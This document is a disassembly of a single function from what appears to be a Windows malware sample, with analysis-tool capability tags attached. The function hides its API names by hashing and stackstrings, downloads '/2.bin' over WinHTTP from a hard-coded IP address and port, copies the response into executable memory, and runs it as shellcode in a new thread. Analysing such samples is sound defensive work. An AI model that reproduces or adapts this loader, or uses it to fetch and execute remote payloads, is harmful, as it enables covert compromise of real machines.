Function at 0x407960
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc0
nop
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x4100d0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
sub esp, 4
mov dword [esp], str.winhttp.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x25], 0x7e
lea ecx, [ebp - 0x44]
call fcn.00408190
jmp 0x4079b3
nop
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xf5de6e59
call fcn.004081e0
add esp, 8
jmp 0x4079d6
nop
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x10c8389
call fcn.004081e0
add esp, 8
jmp 0x4079f8
nop
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x74]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 0
sub esp, 0x14
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ecx
jmp 0x407a42
nop
mov dword [0x525930], eax
mov eax, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1c51c457
call fcn.004081e0
add esp, 8
jmp 0x407a63
nop
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
mov esi, dword [0x525930]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 0
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xcfdb
mov dword [esp + 4], str.43.136.71.208
call ecx
jmp 0x407aa7
nop
mov dword [0x525934], eax
mov eax, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xf5e93236
call fcn.004081e0
add esp, 8
jmp 0x407ac8
nop
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
mov esi, dword [0x525934]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 0
sub esp, 0x1c
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str._2.bin
mov dword [esp + 4], 0x514736
call ecx
jmp 0x407b24
nop
mov dword [0x525938], eax
mov eax, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xf5ea1054
call fcn.004081e0
add esp, 8
jmp 0x407b45
nop
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
mov esi, dword [0x525938]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 0
sub esp, 0x1c
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
call ecx
jmp 0x407ba1
nop
mov dword [0x525940], eax
mov eax, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xce87357d
call fcn.004081e0
add esp, 8
jmp 0x407bc2
nop
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
mov esi, dword [0x525938]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 0
sub esp, 8
mov dword [esp], esi
mov dword [esp + 4], 0
call ecx
jmp 0x407bf6
nop
mov dword [0x525940], eax
nop
mov dword [0x52593c], 0
mov eax, dword [0x525938]
mov dword [ebp - 0x10], 1
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x52593c
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call eax
jmp 0x407c2a
cmp eax, 0
jne 0x407c45
sub esp, 4
mov dword [esp], str.Error
call fcn.004082a0
add esp, 4
jmp 0x407c43
jmp 0x407c45
nop
mov eax, dword [0x52593c]
inc eax
sub esp, 4
mov dword [esp], eax
call fcn.00414ae0
add esp, 4
mov dword [ebp - 0x2c], eax
jmp 0x407c5f
jmp 0x407c61
jmp 0x407c63
nop
mov eax, dword [ebp - 0x2c]
mov dword [0x525948], eax
cmp dword [0x525948], 0
jne 0x407c82
nop
mov dword [0x52593c], 0
jmp 0x407c82
nop
mov eax, dword [0x525948]
mov ecx, dword [0x52593c]
inc ecx
sub esp, 0xc
mov dword [esp + 8], ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.004106e0
add esp, 0xc
mov eax, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x54f59e03
call fcn.004081e0
add esp, 8
jmp 0x407cc4
nop
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
mov esi, dword [0x52593c]
mov edi, dword [0x525948]
mov ebx, dword [0x525938]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 1
sub esp, 0x10
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0xc], 0x525944
call ecx
jmp 0x407d0c
cmp eax, 0
jne 0x407d2a
sub esp, 4
mov dword [esp], str.Error
call fcn.004082a0
add esp, 4
jmp 0x407d25
jmp 0x407dbb
nop
mov dword [ebp - 0x48], esp
push eax
sub esp, 0x14
mov esi, esp
mov edi, dword [0x525948]
mov eax, dword [0x525944]
mov ebx, edi
add ebx, eax
mov eax, esi
add eax, 4
mov dword [ebp - 0x30], eax
sub esp, 4
lea eax, [ebp - 0xa0]
mov dword [esp], eax
lea ecx, [ebp - 0x44]
call fcn.00406dd0
jmp 0x407d61
sub esp, 4
lea eax, [ebp - 0xa0]
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
call fcn.004082f0
jmp 0x407d77
lea eax, [ebp - 0xb4]
mov dword [esi], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], ebx
jmp 0x407d87
nop
mov dword [ebp - 0x10], 3
lea ecx, [ebp - 0x44]
call fcn.00408380
jmp 0x407d99
nop
mov esp, dword [ebp - 0x48]
jmp 0x407d9f
jmp 0x407da1
lea ecx, [ebp - 0xb4]
call fcn.00407280
jmp 0x407dae
lea ecx, [ebp - 0xa0]
call fcn.00407280
jmp 0x407dbb
nop
cmp dword [0x52593c], 0
ja 0x407bfc
lea ecx, [ebp - 0x44]
call fcn.004085e0
mov dword [ebp - 0x10], 0
sub esp, 4
mov dword [esp], eax
call fcn.004a0dd0
add esp, 4
jmp 0x407de8
nop
mov dword [ebp - 0x5c], eax
sub esp, 4
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
jmp 0x407dff
nop
mov dword [ebp - 0xa8], eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
jmp 0x407e19
nop
mov dword [ebp - 0xa4], eax
lea ecx, [ebp - 0x44]
call fcn.004085e0
sub esp, 0x10
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
jmp 0x407e4f
nop
mov dword [ebp - 0x24], eax
xor eax, eax
cmp eax, dword [ebp - 0x24]
jne 0x407e6e
sub esp, 4
mov dword [esp], 1
call fcn.0048f0d0
add esp, 4
jmp 0x407e6e
nop
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x5c]
lea ecx, [ebp - 0x44]
call fcn.004085e0
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00410790
add esp, 0xc
mov byte [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0x636f6c6c
mov dword [ebp - 0x90], 0x416c6175
mov dword [ebp - 0x94], 0x74726956
sub esp, 4
mov dword [esp], str.Kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
jmp 0x407ecb
sub esp, 8
lea ecx, [ebp - 0x94]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
jmp 0x407ee4
nop
mov dword [ebp - 0x58], eax
mov eax, dword [0x525938]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call eax
jmp 0x407efc
nop
mov eax, dword [0x525934]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call eax
jmp 0x407f11
nop
mov eax, dword [0x525930]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call eax
jmp 0x407f26
nop
mov esi, dword [ebp - 0x58]
lea ecx, [ebp - 0x44]
call fcn.004085e0
mov edi, eax
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
mov ecx, esi
call eax
mov dword [ebp - 0x10], 0
sub esp, 0x10
mov dword [esp + 4], edi
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call esi
jmp 0x407f6d
nop
mov dword [ebp - 0x34], eax
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x44]
call fcn.004085e0
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00454470
add esp, 0xc
mov byte [ebp - 0x78], 0
mov dword [ebp - 0x7c], 0x64616572
mov dword [ebp - 0x80], 0x68546574
mov dword [ebp - 0x84], 0x61657243
sub esp, 4
mov dword [esp], str.Kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
jmp 0x407fc4
sub esp, 8
lea ecx, [ebp - 0x84]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
jmp 0x407fdd
nop
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x34]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 0
sub esp, 0x18
mov dword [esp + 8], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call ecx
jmp 0x40802e
nop
mov dword [ebp - 0x50], eax
movups xmm0, xmmword [str.WaitForSingleObject]
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0x746365
sub esp, 4
mov dword [esp], str.Kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
jmp 0x40805d
sub esp, 8
lea ecx, [ebp - 0xcc]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
jmp 0x408076
nop
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x50]
mov eax, dword [section..00cfg]
mov dword [ebp - 0x10], 0xffffffff
call eax
mov dword [ebp - 0x10], 0
sub esp, 8
mov dword [esp], esi
mov dword [esp + 4], 0xffffffff
call ecx
jmp 0x4080a7
jmp 0x4080a9
lea ecx, [ebp - 0x44]
call fcn.004072e0
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret